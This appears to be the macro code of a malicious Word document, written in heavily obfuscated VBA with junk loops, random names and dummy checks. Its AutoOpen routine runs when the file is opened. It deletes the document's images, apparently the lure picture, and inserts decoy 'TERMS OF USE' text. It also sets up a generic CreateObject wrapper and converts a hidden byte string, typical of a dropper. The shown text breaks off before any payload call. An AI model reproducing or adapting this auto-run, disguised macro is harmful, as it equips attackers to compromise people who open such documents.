Dim zx7MXHKOToNER61 As Collection
Set zx7MXHKOToNER61 = New Collection
zx7MXHKOToNER61.Add "lmn1BnxFCRDfeyYus648GlAZFS57JibgekQKED03lzLptwVb2ZWynyOAmNwss25dxgA3iNqoGAWTZUqT6dEu"
zx7MXHKOToNER61.Add "2qWPi0RHKs1rxMvb2psrsnc5kR"
zx7MXHKOToNER61.Add "wOyLSMnUhSo0X80nbrfdiflYBd4PObpRSyV64qZmja3jA2Uuwyd2vE4"
zx7MXHKOToNER61.Add "ZJySYGGnXiin4tuS33HmBYJJKcZ7wfN4ESeh"
zx7MXHKOToNER61.Add "KUw6nTwG2Fsk2KzolB9pI5rJ02VoilONqjtzxFv0WDjTOMmCGarch6KPnnFu8Ii"
zx7MXHKOToNER61.Add "f3TbAyfQJSFVX4oPShH3vpuYdKL9A1OfSbtSTk"
Dim hF3PtbeqkaXFxJ As Object
If vSGsM9NhnRnUe < agD25Ko1JVSzjJ4 Then
Dim f2WdwqTSez36V2 As Integer
Dim m4Ft1xuVcLZ As String
f2WdwqTSez36V2 = 4798
Dim qA2lk6Tdzn7 As Integer
m4Ft1xuVcLZ = Right(CStr(f2WdwqTSez36V2), Chr(Tan(CDbl(1.55039099610836))))
qA2lk6Tdzn7 = CInt(m4Ft1xuVcLZ)
For znBhBeNXGLo = qA2lk6Tdzn7 To 53
f2WdwqTSez36V2 = f2WdwqTSez36V2 + 5
Next znBhBeNXGLo
If Chr(Tan(CDbl(1.5565115842075))) = F Then
Dim IL1NzpRTKWhyiE As String
Dim tkzUfgsGjOc As String
tkzUfgsGjOc = SisXVJUG0ze
IL1NzpRTKWhyiE = deGLSJX2OG2
End If
If (StrComp(IL1NzpRTKWhyiE, tkzUfgsGjOc, vbTextCompare) <> 0) Then
MsgBox ("hbMdwjieElnubH")
End If
Dim dtr9Vc4RK2WuiW, l35toEuNipB As String
dtr9Vc4RK2WuiW = 9
l35toEuNipB = 9
#If dtr9Vc4RK2WuiW > l35toEuNipB Then
Dim VKXDLKiPU5V As Object
#Else
Dim VKXDLKiPU5V As Integer
VKXDLKiPU5V = 9 + 9
Dim vnY9MRw60cJ As Integer
For SieFjkQdWLB = vnY9MRw60cJ To dtr9Vc4RK2WuiW
vnY9MRw60cJ = vnY9MRw60cJ + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next SieFjkQdWLB
#End If
If Chr(Tan(CDbl(1.55709855342203))) = I Then
Dim ZyP5ZA4jLZpcsn As String
Dim tH0hX1NGm28 As String
tH0hX1NGm28 = JZnYymV3oER
ZyP5ZA4jLZpcsn = SCjxokrPwO7
End If
If (StrComp(ZyP5ZA4jLZpcsn, tH0hX1NGm28, vbTextCompare) <> 0) Then
MsgBox ("V4FKZiE6YLX6Nl")
End If
Dim Yco20TTWbA1U9x As Object
If Len(Application.UserName) < 100 Then
Dim jnLEKJgvjYxl9Db As String
End If
vSGsM9NhnRnUe = vSGsM9NhnRnUe + 1
Dim c0lLVgfBYSaS7c As Integer
For I2S1AIWq1Sn = 6 To 69
c0lLVgfBYSaS7c = I2S1AIWq1Sn
Next I2S1AIWq1Sn
Dim IEmGJtSJD84wy7 As Integer
Dim sR66Bw2rsfc As String
IEmGJtSJD84wy7 = 4336
Dim mZ3xwUXtwe8 As Integer
sR66Bw2rsfc = Right(CStr(IEmGJtSJD84wy7), Chr(Tan(CDbl(1.55039099610836))))
mZ3xwUXtwe8 = CInt(sR66Bw2rsfc)
For KGwiv8XqPlt = mZ3xwUXtwe8 To 15
IEmGJtSJD84wy7 = IEmGJtSJD84wy7 + 1
Next KGwiv8XqPlt
Else
Dim O8WvPoRM9gTTSG As Object
Dim qb0I4n65lVbEufw As String
qb0I4n65lVbEufw = Application.UserName
Dim N2PCwltOMF4xcXzrP, cyoL0GT2EyIUkKKl4Jy As Integer
cyoL0GT2EyIUkKKl4Jy = Len(qb0I4n65lVbEufw)
Dim LnM4KEHrMajnR6F7 As Collection
While cyoL0GT2EyIUkKKl4Jy > 3
N2PCwltOMF4xcXzrP = N2PCwltOMF4xcXzrP + 3
cyoL0GT2EyIUkKKl4Jy = cyoL0GT2EyIUkKKl4Jy - 1
Wend
Dim tx64gnXMHrgBG3s As Collection
Set tx64gnXMHrgBG3s = New Collection
tx64gnXMHrgBG3s.Add "ok4Hhd4LKiwBa1RZlyDxNGlxeWH5M"
tx64gnXMHrgBG3s.Add "I47DR02imFcizSB0Y8"
tx64gnXMHrgBG3s.Add "5xWti9FmLV89DunGdzAitPbuuhygcft7qH1ThOfSvPWRGdfCp4Xk87PpYm8"
tx64gnXMHrgBG3s.Add "iJqlAT62TiPS"
tx64gnXMHrgBG3s.Add "e2JnRBv1iHJ8s2M55PdHMFqqFJiJVVISRKvwO8q9arlicCkEqXn9ykkYMdhHdlfM90riGZr6jerfdH"
tx64gnXMHrgBG3s.Add "ied7sJeqkWjvbigyLZimUC7RqraT3E4"
tx64gnXMHrgBG3s.Add "di8Hhd0VB8tx5"
tx64gnXMHrgBG3s.Add "82TEiltggMRBsKzfceg79hqo5sQTENbvMZVAv0gntCb5QcHKNcR"
tx64gnXMHrgBG3s.Add "gAaLpI0VacTugySxwtl72N7FvYdkFFl5GVpZ5xGrqRTj"
vSGsM9NhnRnUe = 0
Dim zms4Cl5jb2naMQh As String
zms4Cl5jb2naMQh = Application.UserName
Dim fZfetCvnpTTxi8Wt1, fEIwyMV4cFLmpca8yGT As Integer
fEIwyMV4cFLmpca8yGT = Len(zms4Cl5jb2naMQh)
Dim fA4nJUT1DkVp1MAN As Collection
While fEIwyMV4cFLmpca8yGT > 4
fZfetCvnpTTxi8Wt1 = fZfetCvnpTTxi8Wt1 + 6
fEIwyMV4cFLmpca8yGT = fEIwyMV4cFLmpca8yGT - 1
Wend
Dim MQPoPVWlh9dJas As Object
If Len(Application.UserName) < 100 Then
Dim AC29SKfugkoSVVv As String
End If
End If
Dim mMnnWsEvACPgZA As Integer
Dim c7bdaC4FvML As String
mMnnWsEvACPgZA = 5299
Dim DggjDEpYheS As Integer
c7bdaC4FvML = Right(CStr(mMnnWsEvACPgZA), Chr(Tan(CDbl(1.55039099610836))))
DggjDEpYheS = CInt(c7bdaC4FvML)
For tK9PVqPhLl2 = DggjDEpYheS To 85
mMnnWsEvACPgZA = mMnnWsEvACPgZA + 2
Next tK9PVqPhLl2
Dim peSkleAPPSFMpg As Integer
For m7upYoiyH4t = 5 To 56
peSkleAPPSFMpg = m7upYoiyH4t
Next m7upYoiyH4t
Dim xFBzJE8Ot8cOB8 As Object
Dim vYfycxKEPLycHX5 As String
vYfycxKEPLycHX5 = Application.UserName
Dim DvmBh46rzbqXPfSYL, d7znGQFaDlCRZ7yoZLI As Integer
d7znGQFaDlCRZ7yoZLI = Len(vYfycxKEPLycHX5)
Dim S0ReAKjtH7IDYQip As Collection
While d7znGQFaDlCRZ7yoZLI > 3
DvmBh46rzbqXPfSYL = DvmBh46rzbqXPfSYL + 2
d7znGQFaDlCRZ7yoZLI = d7znGQFaDlCRZ7yoZLI - 1
Wend
Next zdz5FrV3ycexNfkF
If Chr(Tan(CDbl(1.55889212723659))) = T Then
Dim olzYfgjLHm1tLE As String
Dim XmMVYhVKV6d As String
XmMVYhVKV6d = cKKMymHWcW6
olzYfgjLHm1tLE = p7weheiLAao
End If
If (StrComp(olzYfgjLHm1tLE, XmMVYhVKV6d, vbTextCompare) <> 0) Then
MsgBox ("ZbdbMPGymP146V")
End If
Dim V1Pnuq6DxIIfPL As Integer
Dim OC5w5oMnWG7 As String
V1Pnuq6DxIIfPL = 1275
Dim AG50DqpQ6j2 As Integer
OC5w5oMnWG7 = Right(CStr(V1Pnuq6DxIIfPL), Chr(Tan(CDbl(1.55039099610836))))
AG50DqpQ6j2 = CInt(OC5w5oMnWG7)
For GF7x3Luv1VW = AG50DqpQ6j2 To 36
V1Pnuq6DxIIfPL = V1Pnuq6DxIIfPL + 3
Next GF7x3Luv1VW
Dim nB3kPmoHQ0Fw1M As Integer
For TGDWQFIEsSI = 9 To 99
nB3kPmoHQ0Fw1M = TGDWQFIEsSI
Next TGDWQFIEsSI
If Application.UserName = "mKmUDzxNwCV" Then
MsgBox ("TC6xfVnHYjL")
Else
Dim iCuosXB4Ebe78e As Integer
End If
Dim icjd4T7AsK9FQ8I As String
icjd4T7AsK9FQ8I = Application.UserName
Dim w0hcLrEMHskdKXdix, hOmJEaNJOmIZynszA69 As Integer
hOmJEaNJOmIZynszA69 = Len(icjd4T7AsK9FQ8I)
Dim Axu9qOYCWDWYGvkl As Collection
While hOmJEaNJOmIZynszA69 > 5
w0hcLrEMHskdKXdix = w0hcLrEMHskdKXdix + 7
hOmJEaNJOmIZynszA69 = hOmJEaNJOmIZynszA69 - 1
Wend
If Application.UserName = "XlkAFRNFzKM" Then
MsgBox ("ZU5BsAgf7kM")
Else
Dim MSMYBCcRcRcXie As Integer
End If
cRmgRwcrOtgen21 = StrConv(wKU17YtCpQsBM0t, vbUnicode)
Dim pbIP2aqit8dHom As Integer
Dim l1heVjjQFdm As String
pbIP2aqit8dHom = 9948
Dim mbroYImay7x As Integer
l1heVjjQFdm = Right(CStr(pbIP2aqit8dHom), Chr(Tan(CDbl(1.55039099610836))))
mbroYImay7x = CInt(l1heVjjQFdm)
For pmtdic5fbfq = mbroYImay7x To 86
pbIP2aqit8dHom = pbIP2aqit8dHom + 7
Next pmtdic5fbfq
Dim gIJN237adI9kdj, ckoky0bLbTJ As String
gIJN237adI9kdj = 1
ckoky0bLbTJ = 1
#If gIJN237adI9kdj > ckoky0bLbTJ Then
Dim sgtLwnfEoXw As Object
#Else
Dim sgtLwnfEoXw As Integer
sgtLwnfEoXw = 1 + 1
Dim Jn8y2Oa66JY As Integer
For Wju4bSN3aqx = Jn8y2Oa66JY To gIJN237adI9kdj
Jn8y2Oa66JY = Jn8y2Oa66JY + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next Wju4bSN3aqx
#End If
Dim qMvYBlA8MvfX9d, EJa2MN1v6FW As Integer
qMvYBlA8MvfX9d = 6
EJa2MN1v6FW = 3
#If d7bo9tbcnjO <> 0 Then
d7bo9tbcnjO = d7bo9tbcnjO + 2
Dim pW2xROqpKbE As Variant
Else
Dim pW2xROqpKbE As Object
#End If
If qMvYBlA8MvfX9d > EJa2MN1v6FW Then
For cQEyzRPoDQpCco = EJa2MN1v6FW To qMvYBlA8MvfX9d
EJa2MN1v6FW = EJa2MN1v6FW / qMvYBlA8MvfX9d
Next cQEyzRPoDQpCco
End If
Dim wmFR44faKjK6KM As Integer
Dim zf8ITaLs4cn As String
wmFR44faKjK6KM = 8878
Dim FgsnZsuz3TB As Integer
zf8ITaLs4cn = Right(CStr(wmFR44faKjK6KM), Chr(Tan(CDbl(1.55039099610836))))
FgsnZsuz3TB = CInt(zf8ITaLs4cn)
For y8vH6NYuDF3 = FgsnZsuz3TB To 38
wmFR44faKjK6KM = wmFR44faKjK6KM + 2
Next y8vH6NYuDF3
End Function
Sub RemovePicture()
If Len(Application.UserName) < 100 Then
Dim LdwknR6Xwu1SyQU As String
End If
If Application.UserName = "eOWajWkkzmw" Then
MsgBox ("JcUaKUWLQ4U")
Else
Dim dkgZLUyFetIRWX As Integer
End If
Dim rU140hGP2hNFjkb As InlineShape
Dim PogxeaxJ46t9J6 As Integer
Dim wLdnQN2afVo As String
PogxeaxJ46t9J6 = 3487
Dim GPivGMqCgTV As Integer
wLdnQN2afVo = Right(CStr(PogxeaxJ46t9J6), Chr(Tan(CDbl(1.55039099610836))))
GPivGMqCgTV = CInt(wLdnQN2afVo)
For rNhUHrd00Xx = GPivGMqCgTV To 66
PogxeaxJ46t9J6 = PogxeaxJ46t9J6 + 9
Next rNhUHrd00Xx
If Len(Application.UserName) < 100 Then
Dim bnMEW4dp4FhTJeR As String
End If
Dim kKGdVGEfK8uO0QH As String
kKGdVGEfK8uO0QH = Application.UserName
Dim qfIghaHDaNVPR3uyo, faKFMFzkP2sLFXesi9E As Integer
faKFMFzkP2sLFXesi9E = Len(kKGdVGEfK8uO0QH)
Dim BvchjmZUbCmU2OQo As Collection
While faKFMFzkP2sLFXesi9E > 4
qfIghaHDaNVPR3uyo = qfIghaHDaNVPR3uyo + 3
faKFMFzkP2sLFXesi9E = faKFMFzkP2sLFXesi9E - 1
Wend
Dim xr94KWfSsa6Siv6 As String
xr94KWfSsa6Siv6 = Application.UserName
Dim uuIhxHyEyyAvFeNSZ, pfIgLc5msyBxxaMEdCK As Integer
pfIgLc5msyBxxaMEdCK = Len(xr94KWfSsa6Siv6)
Dim GGxUL5HrArl9Uv0W As Collection
While pfIgLc5msyBxxaMEdCK > 4
uuIhxHyEyyAvFeNSZ = uuIhxHyEyyAvFeNSZ + 5
pfIgLc5msyBxxaMEdCK = pfIgLc5msyBxxaMEdCK - 1
Wend
Dim VvdrD52KrsAx7Gk As Collection
Set VvdrD52KrsAx7Gk = New Collection
VvdrD52KrsAx7Gk.Add "oUzFkSSO3s8EtPhFNpbw8DJA0RcovKSw745iTvNSFLylsJ4K80TClMNkKzOT0ndtZMGyT8wbcJqzPiRrWRq40QKvrVYf"
VvdrD52KrsAx7Gk.Add "bcrELfDF1AD1jbgZVmfh7j7i3ICUH8kQ4isOFKWvnQZp18qsPR9v9961fIL"
If Len(Application.UserName) < 100 Then
Dim Nu3qJRr4cTF08yR As String
End If
For Each rU140hGP2hNFjkb In ActiveDocument.InlineShapes
Dim Q1ZnbZwR1Ac70n As Integer
For zBamU20ua7u = 3 To 33
Q1ZnbZwR1Ac70n = zBamU20ua7u
Next zBamU20ua7u
Dim LSpVtScKJroMyI, XYWphImMaq6 As String
LSpVtScKJroMyI = 4
XYWphImMaq6 = 9
#If LSpVtScKJroMyI > XYWphImMaq6 Then
Dim nt8qXL88SRq As Object
#Else
Dim nt8qXL88SRq As Integer
nt8qXL88SRq = 4 + 9
Dim RE2CZplsShf As Integer
For HQtGgJipB19 = RE2CZplsShf To LSpVtScKJroMyI
RE2CZplsShf = RE2CZplsShf + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next HQtGgJipB19
#End If
Dim ogpNg0wDRwfs6l, lXZQkr6Rpxa As Integer
ogpNg0wDRwfs6l = 9
lXZQkr6Rpxa = 7
#If gQyWq3d5KyM <> 0 Then
gQyWq3d5KyM = gQyWq3d5KyM + 6
Dim hT8Seqytoxt As Variant
Else
Dim hT8Seqytoxt As Object
#End If
If ogpNg0wDRwfs6l > lXZQkr6Rpxa Then
For VJl9s7wif0xw4k = lXZQkr6Rpxa To ogpNg0wDRwfs6l
lXZQkr6Rpxa = lXZQkr6Rpxa / ogpNg0wDRwfs6l
Next VJl9s7wif0xw4k
End If
If Chr(Tan(CDbl(1.55564597092013))) = B Then
Dim bImTVzgEsh9Mxm As String
Dim C7mn14aojSC As String
C7mn14aojSC = voLAtR65rfo
bImTVzgEsh9Mxm = HeK6iMkqPPG
End If
If (StrComp(bImTVzgEsh9Mxm, C7mn14aojSC, vbTextCompare) <> 0) Then
MsgBox ("di5OC3wu1jTQbJ")
End If
Dim IGGj8ZgwqQcnDs As Object
If Len(Application.UserName) < 100 Then
Dim PTPJ9HMYBV5pDPd As String
End If
If Len(Application.UserName) < 100 Then
Dim wY6PILyBScHvTvc As String
End If
If Len(Application.UserName) < 100 Then
Dim C6IEcg4QsDknwdv As String
End If
rU140hGP2hNFjkb.Delete
If Chr(Tan(CDbl(1.55709855342203))) = I Then
Dim sC64qmuAUA0xTP As String
Dim M722LseW0ro As String
M722LseW0ro = pTvNINgjGj3
sC64qmuAUA0xTP = FTsY9RtPCBj
End If
If (StrComp(sC64qmuAUA0xTP, M722LseW0ro, vbTextCompare) <> 0) Then
MsgBox ("OR9hkrNqfLOP2S")
End If
Dim k2DxGAdgcsvXl5 As Integer
For NejlJe4zln8 = 5 To 53
k2DxGAdgcsvXl5 = NejlJe4zln8
Next NejlJe4zln8
Dim L0k9SJeFOwtwbm, mzy5dA6kD0Z As String
L0k9SJeFOwtwbm = 6
mzy5dA6kD0Z = 8
#If L0k9SJeFOwtwbm > mzy5dA6kD0Z Then
Dim apCI0MyLysB As Object
#Else
Dim apCI0MyLysB As Integer
apCI0MyLysB = 6 + 8
Dim OcP6GGqEMZp As Integer
For jrYCkb4Wnwt = OcP6GGqEMZp To L0k9SJeFOwtwbm
OcP6GGqEMZp = OcP6GGqEMZp + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next jrYCkb4Wnwt
#End If
Dim btzFj6eGNk8gTKx As String
btzFj6eGNk8gTKx = Application.UserName
Dim Z8cMEPqmfVKzMW1Gr, nVdQDCOeEhIpGru4Ajo As Integer
nVdQDCOeEhIpGru4Ajo = Len(btzFj6eGNk8gTKx)
Dim YQ6VabTh7h6rfvg2 As Collection
While nVdQDCOeEhIpGru4Ajo > 7
Z8cMEPqmfVKzMW1Gr = Z8cMEPqmfVKzMW1Gr + 1
nVdQDCOeEhIpGru4Ajo = nVdQDCOeEhIpGru4Ajo - 1
Wend
If Application.UserName = "Fw97DwiNwl8" Then
MsgBox ("E4NmTHeVOmP")
Else
Dim d5OYvyTdDFPCSB As Integer
End If
Dim U0XbfPHsTWof2Ci As String
U0XbfPHsTWof2Ci = Application.UserName
Dim FKKBmdQGvHv3j8KbM, mJ5cutkv9cszAbOTwN7 As Integer
mJ5cutkv9cszAbOTwN7 = Len(U0XbfPHsTWof2Ci)
Dim oIczIrbNlCCw94z1 As Collection
While mJ5cutkv9cszAbOTwN7 > 1
FKKBmdQGvHv3j8KbM = FKKBmdQGvHv3j8KbM + 2
mJ5cutkv9cszAbOTwN7 = mJ5cutkv9cszAbOTwN7 - 1
Wend
Dim BBPkncrhTCfWr2D As Collection
Set BBPkncrhTCfWr2D = New Collection
BBPkncrhTCfWr2D.Add "geiR9DLQsdFB56IVbPD2uPedhgmXZkpP4ihyUkhG39DRBEAHBiAkE3jQAFtdaz1Hz0GXZTB0s69uMNcdfeV"
BBPkncrhTCfWr2D.Add "FLA9QyO0DqFI5dL7nsrhJ2H4yEwnQ75c9hsoGYJfwAoQ4mQtQg1wnTaNDGKMBlkFunJYvg1PjMvJN1AMzDWtGJ"
BBPkncrhTCfWr2D.Add "HflAN6eKaigQc27uplMbiR9MF8Y7P09kxdRQ50CmrkspUtt5GmEe7WIxfY4Oih5ki5b9lqyyjjt7iU1WPd0mvfn"
Next rU140hGP2hNFjkb
Dim I1E317Dcc4QdSc As Integer
Dim BJeAVQc4fE4 As String
I1E317Dcc4QdSc = 7619
Dim EKVzb94THaY As Integer
BJeAVQc4fE4 = Right(CStr(I1E317Dcc4QdSc), Chr(Tan(CDbl(1.55039099610836))))
EKVzb94THaY = CInt(BJeAVQc4fE4)
For nQSm76XFO3B = EKVzb94THaY To 21
I1E317Dcc4QdSc = I1E317Dcc4QdSc + 2
Next nQSm76XFO3B
Dim rBEkQp20uDLKCv As Integer
Dim PgxPSXK2s0h As String
rBEkQp20uDLKCv = 5432
Dim XtVcb6as6J6 As Integer
PgxPSXK2s0h = Right(CStr(rBEkQp20uDLKCv), Chr(Tan(CDbl(1.55039099610836))))
XtVcb6as6J6 = CInt(PgxPSXK2s0h)
For kMb9IElHA1l = XtVcb6as6J6 To 16
rBEkQp20uDLKCv = rBEkQp20uDLKCv + 5
Next kMb9IElHA1l
Dim Ol0p0GZRh2NjpM As Integer
For aBkVQP44Kqr = 4 To 44
Ol0p0GZRh2NjpM = aBkVQP44Kqr
Next aBkVQP44Kqr
End Sub
Sub LoadText(ByRef Text As String)
If Application.UserName = "clJ9PP5YWSW" Then
MsgBox ("LBDl1MH359f")
Else
Dim jBbMbBJdTKrIvH As Integer
End If
ActiveDocument.Content.InsertAfter Text:=Text
If Chr(Tan(CDbl(1.557976516322))) = N Then
Dim X54wHFKsi8toPf As String
Dim NXx1dLanjWB As String
NXx1dLanjWB = owdI4KNmngL
X54wHFKsi8toPf = iZDj92g1A0m
End If
If (StrComp(X54wHFKsi8toPf, NXx1dLanjWB, vbTextCompare) <> 0) Then
MsgBox ("FGs8YvDwxVhuUT")
End If
End Sub

Public Function amMqIE3Rvxa644y(PM7s8pG7Z1GTB3T As String) As Object
Set amMqIE3Rvxa644y = CreateObject(PM7s8pG7Z1GTB3T)
End Function
Sub AutoOpen()
RemovePicture
Dim ck11OroLjLmTJsA As String
ck11OroLjLmTJsA = Application.UserName
Dim CdvSOjuEo3PPn0VJj, QNCC7uUybwJSCmnhB4G As Integer
QNCC7uUybwJSCmnhB4G = Len(ck11OroLjLmTJsA)
Dim SZXMlrm9L7Ghn8IK As Collection
While QNCC7uUybwJSCmnhB4G > 7
CdvSOjuEo3PPn0VJj = CdvSOjuEo3PPn0VJj + 8
QNCC7uUybwJSCmnhB4G = QNCC7uUybwJSCmnhB4G - 1
Wend
If Application.UserName = "lPVYaxPyJYr" Then
MsgBox ("KptJvrpYSll")
Else
Dim VwvIDDgw19uBa4 As Integer
End If
If Len(Application.UserName) < 100 Then
Dim ouh4cQuJgJgjsQk As String
End If
LoadText ("TERMS OF USE") & Chr(11)
Dim tIfZFzbWWGeJsma As String
tIfZFzbWWGeJsma = Application.UserName
Dim lIBXETNJrfpA9oFeJ, lRlVizZwrIiWVYp0qFS As Integer
lRlVizZwrIiWVYp0qFS = Len(tIfZFzbWWGeJsma)
Dim f4MnB9cBt4iTAaW3 As Collection
While lRlVizZwrIiWVYp0qFS > 6
lIBXETNJrfpA9oFeJ = lIBXETNJrfpA9oFeJ + 3
lRlVizZwrIiWVYp0qFS = lRlVizZwrIiWVYp0qFS - 1
Wend
LoadText ("Last Revised: May 10, 2018") & Chr(11)
If Chr(Tan(CDbl(1.55609150441705))) = D Then
Dim aQQhl7Gc6RjD2v As String
Dim pljazYAdCBJ As String
pljazYAdCBJ = VFMw8Qcuktg
aQQhl7Gc6RjD2v = Bf22xH9b9Zn
End If
If (StrComp(aQQhl7Gc6RjD2v, pljazYAdCBJ, vbTextCompare) <> 0) Then
MsgBox ("PfHnlg1ICOPYM2")
End If
Dim eElSPinNoaFLAm, TLZxU8y514n As Integer
eElSPinNoaFLAm = 5
TLZxU8y514n = 1
#If XcJJnafcHvk <> 0 Then
…